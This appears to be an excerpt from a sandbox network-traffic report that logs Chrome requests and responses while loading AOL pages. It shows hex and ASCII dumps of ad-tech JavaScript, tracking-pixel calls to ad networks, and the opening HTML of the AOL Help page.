2024-05-23 22:35:00 UTC	16384	IN	Data Raw: 63 61 74 69 6f 6e 2e 61 6e 63 65 73 74 6f 72 4f 72 69 67 69 6e 73 3b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 74 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 2c 7a 65 2e 69 6e 49 66 72 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 73 65 6c 66 21 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 30 7d 7d 2c 7a 65 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 65 28 29 7b 7d 76 61 72 20 56 65 3d 28 6a 65 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 56 69 65 77 70 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 47 65 2e 67 65 74 48 69 67 68 65 73 74 41 63 63 65 73 73 69 Data Ascii: cation.ancestorOrigins;if(n)return n[n.length-1]}catch(e){}return t.document.referrer},ze.inIframe=function(){try{return window.self!==window.top}catch(e){return!0}},ze);function ze(){}var Ve=(je.prototype.getViewport=function(){var e=Ge.getHighestAccessi
2024-05-23 22:35:00 UTC	960	IN	Data Raw: 49 64 3d 52 65 28 29 2c 74 68 69 73 2e 70 72 69 76 61 63 69 65 73 3d 7b 7d 2c 6e 2e 67 64 70 72 43 6f 6e 73 65 6e 74 26 26 28 74 68 69 73 2e 70 72 69 76 61 63 69 65 73 2e 67 64 70 72 43 6f 6e 73 65 6e 74 3d 7b 7d 2c 76 6f 69 64 20 30 21 3d 3d 6e 2e 67 64 70 72 43 6f 6e 73 65 6e 74 2e 63 6f 6e 73 65 6e 74 53 74 72 69 6e 67 26 26 28 74 68 69 73 2e 70 72 69 76 61 63 69 65 73 2e 67 64 70 72 43 6f 6e 73 65 6e 74 2e 63 6f 6e 73 65 6e 74 44 61 74 61 3d 6e 2e 67 64 70 72 43 6f 6e 73 65 6e 74 2e 63 6f 6e 73 65 6e 74 53 74 72 69 6e 67 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 2e 67 64 70 72 43 6f 6e 73 65 6e 74 2e 67 64 70 72 41 70 70 6c 69 65 73 26 26 28 74 68 69 73 2e 70 72 69 76 61 63 69 65 73 2e 67 64 70 72 43 6f 6e 73 65 6e 74 2e 67 64 70 72 41 70 70 6c 69 65 73 3d Data Ascii: Id=Re(),this.privacies={},n.gdprConsent&&(this.privacies.gdprConsent={},void 0!==n.gdprConsent.consentString&&(this.privacies.gdprConsent.consentData=n.gdprConsent.consentString),void 0!==n.gdprConsent.gdprApplies&&(this.privacies.gdprConsent.gdprApplies=
2024-05-23 22:35:00 UTC	16384	IN	Data Raw: 65 71 75 65 73 74 73 3d 69 2c 28 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 5f 70 72 65 62 69 64 5f 31 34 34 7c 7c 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 29 2e 70 72 65 62 69 64 5f 61 64 61 70 74 65 72 73 3d 28 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 5f 70 72 65 62 69 64 5f 31 34 34 7c 7c 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 29 2e 70 72 65 62 69 64 5f 61 64 61 70 74 65 72 73 7c 7c 7b 7d 2c 28 28 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 5f 70 72 65 62 69 64 5f 31 34 34 7c 7c 77 69 6e 64 6f 77 2e 43 72 69 74 65 6f 29 2e 70 72 65 62 69 64 5f 61 64 61 70 74 65 72 73 5b 74 68 69 73 2e 61 75 63 74 69 6f 6e 49 64 5d 3d 74 68 69 73 29 2e 73 6c 6f 74 73 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 41 3d 21 30 2c 78 3d 30 2c 52 3d 69 3b 78 3c 52 2e 6c 65 6e 67 74 68 3b 78 2b 2b Data Ascii: equests=i,(window.Criteo_prebid_144\|\|window.Criteo).prebid_adapters=(window.Criteo_prebid_144\|\|window.Criteo).prebid_adapters\|\|{},((window.Criteo_prebid_144\|\|window.Criteo).prebid_adapters[this.auctionId]=this).slots=[];for(var A=!0,x=0,R=i;x<R.length;x++
2024-05-23 22:35:00 UTC	16384	IN	Data Raw: 75 72 6e 20 75 7d 63 61 74 63 68 28 65 29 7b 7d 7d 72 65 74 75 72 6e 20 73 7d 2c 4d 74 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 21 31 29 2c 74 68 69 73 2e 73 65 74 43 6f 6f 6b 69 65 28 65 2c 22 22 2c 30 2c 74 2c 69 29 7d 2c 4d 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 68 69 73 2e 63 6f 6f 6b 69 65 73 45 6e 61 62 6c 65 64 29 66 6f 72 28 76 61 72 20 69 3d 30 2c 6e 3d 28 74 7c 7c 64 6f 63 75 6d 65 6e 74 29 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 72 3d 6e 5b 69 5d 2c 6f 3d 72 2e 73 75 Data Ascii: urn u}catch(e){}}return s},Mt.prototype.deleteCookie=function(e,t,i){void 0===i&&(i=!1),this.setCookie(e,"",0,t,i)},Mt.prototype.getCookie=function(e,t){if(this.cookiesEnabled)for(var i=0,n=(t\|\|document).cookie.split(";");i<n.length;i++){var r=n[i],o=r.su
2024-05-23 22:35:00 UTC	960	IN	Data Raw: 68 61 73 68 3a 28 69 2e 68 61 73 68 7c 7c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 5e 23 2f 2c 22 22 29 2c 68 6f 73 74 3a 69 2e 68 6f 73 74 7c 7c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 69 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2b 22 3d 22 2b 74 5b 65 5d 7d 29 2e 6a 6f 69 6e 28 22 26 22 29 7d 66 75 6e 63 74 69 6f 6e 20 76 69 28 65 29 7b 72 65 74 75 72 6e 28 65 2e 70 72 6f 74 6f 63 6f 6c 7c 7c 22 68 74 74 70 22 29 2b 22 3a 2f 2f 22 2b 28 65 2e 68 6f 73 74 7c 7c 65 2e 68 6f 73 74 6e 61 6d 65 2b 28 65 2e 70 6f 72 74 3f 22 3a 22 2b 65 2e 70 6f 72 74 3a 22 22 29 29 2b 28 65 2e 70 61 74 68 6e 61 6d Data Ascii: hash:(i.hash\|\|"").replace(/^#/,""),host:i.host\|\|window.location.host}}function hi(t){return Object.keys(t).map(function(e){return e+"="+t[e]}).join("&")}function vi(e){return(e.protocol\|\|"http")+"://"+(e.host\|\|e.hostname+(e.port?":"+e.port:""))+(e.pathnam
2024-05-23 22:35:00 UTC	16384	IN	Data Raw: 74 68 69 73 2e 67 65 74 43 6f 6e 74 65 6e 74 4c 61 6e 67 75 61 67 65 28 29 2c 6e 61 76 69 67 61 74 6f 72 4c 61 6e 67 75 61 67 65 3a 6e 75 6c 6c 3d 3d 3d 28 74 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 6e 61 76 69 67 61 74 6f 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 61 6e 67 75 61 67 65 2c 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 74 68 69 73 2e 67 65 74 4f 72 69 65 6e 74 61 74 69 6f 6e 28 29 2c 77 69 6e 64 6f 77 49 6e 6e 65 72 57 69 64 74 68 3a 6e 75 6c 6c 3d 3d 3d 28 69 3d 74 68 69 73 2e 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 6e 6e 65 72 57 69 64 74 68 2c 77 69 6e 64 6f 77 49 6e 6e 65 Data Ascii: this.getContentLanguage(),navigatorLanguage:null===(t=null===(e=this.window)\|\|void 0===e?void 0:e.navigator)\|\|void 0===t?void 0:t.language,orientation:this.getOrientation(),windowInnerWidth:null===(i=this.window)\|\|void 0===i?void 0:i.innerWidth,windowInne
2024-05-23 22:35:00 UTC	3600	IN	Data Raw: 43 6f 6e 74 65 78 74 75 61 6c 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 2c 58 69 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 55 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 69 2c 6e 3d 74 68 69 73 2e 75 73 65 72 7c 7c 7b 7d 2c 72 3d 74 68 69 73 2e 75 73 65 72 43 6f 6e 74 65 78 74 75 61 6c 44 61 74 61 4d 61 6e 61 67 65 72 2e 67 65 74 55 73 65 72 43 6f 6e 74 65 78 74 75 61 6c 44 61 74 61 28 29 3b 69 66 28 6e 75 6c 6c 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 64 61 74 61 29 7b 76 61 72 20 6f 3d 4c 28 4c 28 7b 7d 2c 6e 75 6c 6c 3d 3d 3d 28 65 3d 6e 2e 65 78 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 64 61 74 61 29 2c 72 2e 64 61 74 61 29 3b 6e 2e 65 78 74 3d 4c 28 4c 28 7b 7d 2c Data Ascii: ContextualData=function(){return{}},Xi.prototype.getUser=function(){var e,t,i,n=this.user\|\|{},r=this.userContextualDataManager.getUserContextualData();if(null==r?void 0:r.data){var o=L(L({},null===(e=n.ext)\|\|void 0===e?void 0:e.data),r.data);n.ext=L(L({},

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.6	50092	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1084	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503699153&seq=3&response_time_ms=1457 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:00 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:00 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.6	50077	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	988	OUT	GET /pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-23 22:35:00 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:00 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.6	50088	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	655	OUT	GET /track/cmf/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	518	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 245 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= set-cookie: TDID=47f44660-dbf1-469c-be09-29b0503a1260; expires=Fri, 23 May 2025 22:35:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsIpKSV_-ng_TwQBTgB; expires=Fri, 23 May 2025 22:35:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:00 UTC	245	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 73 76 78 39 74 35 30 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 73 76 78 39 74 35 30 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=">https://match.adsrvr.org/track/cmb/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.6	50095	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1193	OUT	GET / HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; _li_dcdm_c=.aol.com; _lc2_fpi=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t; _lc2_fpi_meta=%7B%22w%22%3A1716503690691%7D
2024-05-23 22:35:00 UTC	1282	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:00 GMT Content-Type: text/html;charset=utf-8 Server: ATS vary: origin,accept-encoding strict-transport-security: max-age=31536000 x-frame-options: DENY x-download-options: noopen cache-control: no-cache Referrer-Policy: no-referrer-when-downgrade Age: 0 Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: _li_dcdm_c=DELETE; Expires=Thu, 23 May 2024 22:25:00 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: _li_dcdm_c=DELETE; Expires=Thu, 23 May 2024 22:25:00 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Thu, 23 May 2024 22:25:00 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Thu, 23 May 2024 22:25:00 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Thu, 23 May 2024 22:25:00 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Thu, 23 May 2024 22:25:00 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 37 62 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 4f 4c 20 48 65 6c 70 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 61 74 68 3a 67 75 63 65 3a 63 6f 6e 73 65 6e 74 2d 68 6f 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 67 75 63 65 2e 61 6f 6c 2e 63 6f 6d 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 Data Ascii: 7b54<!DOCTYPE html><html lang="en"><head><title>AOL Help</title><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="oath:guce:consent-host" content="guce.aol.com"><meta name="viewport" content="width=device-width, init
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 65 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2d 6d 61 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 6c 2f 66 61 71 2e 70 6e 67 22 2c 22 66 61 63 65 62 6f 6f 6b 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 41 4f 4c 43 75 73 74 6f 6d 65 72 43 61 72 65 22 2c 22 66 61 63 65 62 6f 6f 6b 5f 61 70 70 5f 69 64 22 3a 22 33 36 35 33 39 38 35 38 33 34 39 33 34 34 32 22 2c 22 74 77 69 74 74 65 72 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 77 69 74 74 65 72 2e 63 6f 6d 2f 41 4f 4c 53 75 70 70 6f 72 74 48 65 6c 70 22 2c 22 74 77 69 74 74 65 72 5f 75 73 65 72 6e 61 6d 65 22 3a 22 41 4f 4c 53 75 70 70 6f 72 74 48 65 6c 70 22 7d 2c 22 68 61 73 5f 63 Data Ascii: e_url":"https://s.aolcdn.com/os/help-main/content-types/l/faq.png","facebook_url":"https://www.facebook.com/AOLCustomerCare","facebook_app_id":"365398583493442","twitter_url":"https://twitter.com/AOLSupportHelp","twitter_username":"AOLSupportHelp"},"has_c
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 70 73 3a 2f 2f 61 70 69 2e 63 6f 6e 74 65 6e 74 2e 61 6f 6c 2e 63 6f 6d 22 2c 22 61 6c 65 72 74 22 3a 22 63 6f 6e 74 65 6e 74 2f 61 6c 65 72 74 2f 7b 73 6b 75 7d 3f 73 69 74 65 3d 75 73 61 6f 6c 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 75 74 69 6c 69 74 79 22 3a 22 63 61 74 61 6c 6f 67 2f 63 6d 73 2f 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 75 73 61 6f 6c 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 75 74 69 6c 69 74 79 2d 7b 73 75 70 70 6f 72 74 5f 6c 65 76 65 6c 7d 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 66 6f 6f 74 65 72 22 3a 22 63 61 74 61 6c 6f 67 2f 63 6d 73 2f 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 75 73 61 6f 6c 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 66 6f 6f 74 65 72 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 72 61 69 6c 22 3a 22 63 61 74 61 6c 6f 67 2f 63 Data Ascii: ps://api.content.aol.com","alert":"content/alert/{sku}?site=usaol","navigation_utility":"catalog/cms/help-central-usaol-navigation-utility-{support_level}","navigation_footer":"catalog/cms/help-central-usaol-navigation-footer","navigation_rail":"catalog/c
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 6d 2f 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 3f 6c 6f 63 61 6c 65 3d 65 6e 2d 55 53 22 2c 22 74 65 72 6d 73 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 2f 2f 67 75 63 65 2e 61 6f 6c 2e 63 6f 6d 2f 74 65 72 6d 73 3f 6c 6f 63 61 6c 65 3d 65 6e 2d 55 53 22 7d 2c 22 63 61 70 74 69 6f 6e 22 3a 22 24 7b 74 65 72 6d 73 5f 6c 69 6e 6b 7d 54 65 72 6d 73 24 7b 65 6e 64 5f 6c 69 6e 6b 7d 20 61 6e 64 20 24 7b 70 72 69 76 61 63 79 5f 6c 69 6e 6b 7d 50 72 69 76 61 63 79 20 50 6f 6c 69 63 79 24 7b 65 6e 64 5f 6c 69 6e 6b 7d 22 7d 2c 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 67 75 63 65 2e 61 6f 6c 2e 63 6f 6d 2f 73 74 61 74 65 2d 63 6f 6e 74 72 6f 6c 73 3f 6c 6f 63 61 6c 65 3d 65 6e 2d 55 53 26 73 74 61 74 65 3d 43 41 22 2c 22 63 61 70 74 69 6f 6e 22 3a 22 59 6f Data Ascii: m/privacy-policy?locale=en-US","terms_link":"https://guce.aol.com/terms?locale=en-US"},"caption":"${terms_link}Terms${end_link} and ${privacy_link}Privacy Policy${end_link}"},{"url":"https://guce.aol.com/state-controls?locale=en-US&state=CA","caption":"Yo
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 74 20 61 6e 73 77 65 72 73 20 74 6f 20 79 6f 75 72 20 41 4f 4c 20 4d 61 69 6c 2c 20 6c 6f 67 69 6e 2c 20 44 65 73 6b 74 6f 70 20 47 6f 6c 64 2c 20 41 4f 4c 20 61 70 70 2c 20 70 61 73 73 77 6f 72 64 20 61 6e 64 20 73 75 62 73 63 72 69 70 74 69 6f 6e 20 71 75 65 73 74 69 6f 6e 73 2e 20 46 69 6e 64 20 74 68 65 20 73 75 70 70 6f 72 74 20 6f 70 74 69 6f 6e 73 20 74 6f 20 63 6f 6e 74 61 63 74 20 63 75 73 74 6f 6d 65 72 20 63 61 72 65 20 62 79 20 65 6d 61 69 6c 2c 20 63 68 61 74 2c 20 6f 72 20 70 68 6f 6e 65 20 6e 75 6d 62 65 72 2e 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e Data Ascii: t answers to your AOL Mail, login, Desktop Gold, AOL app, password and subscription questions. Find the support options to contact customer care by email, chat, or phone number."><meta property="og:type" content="website"><meta property="og:site_name" con
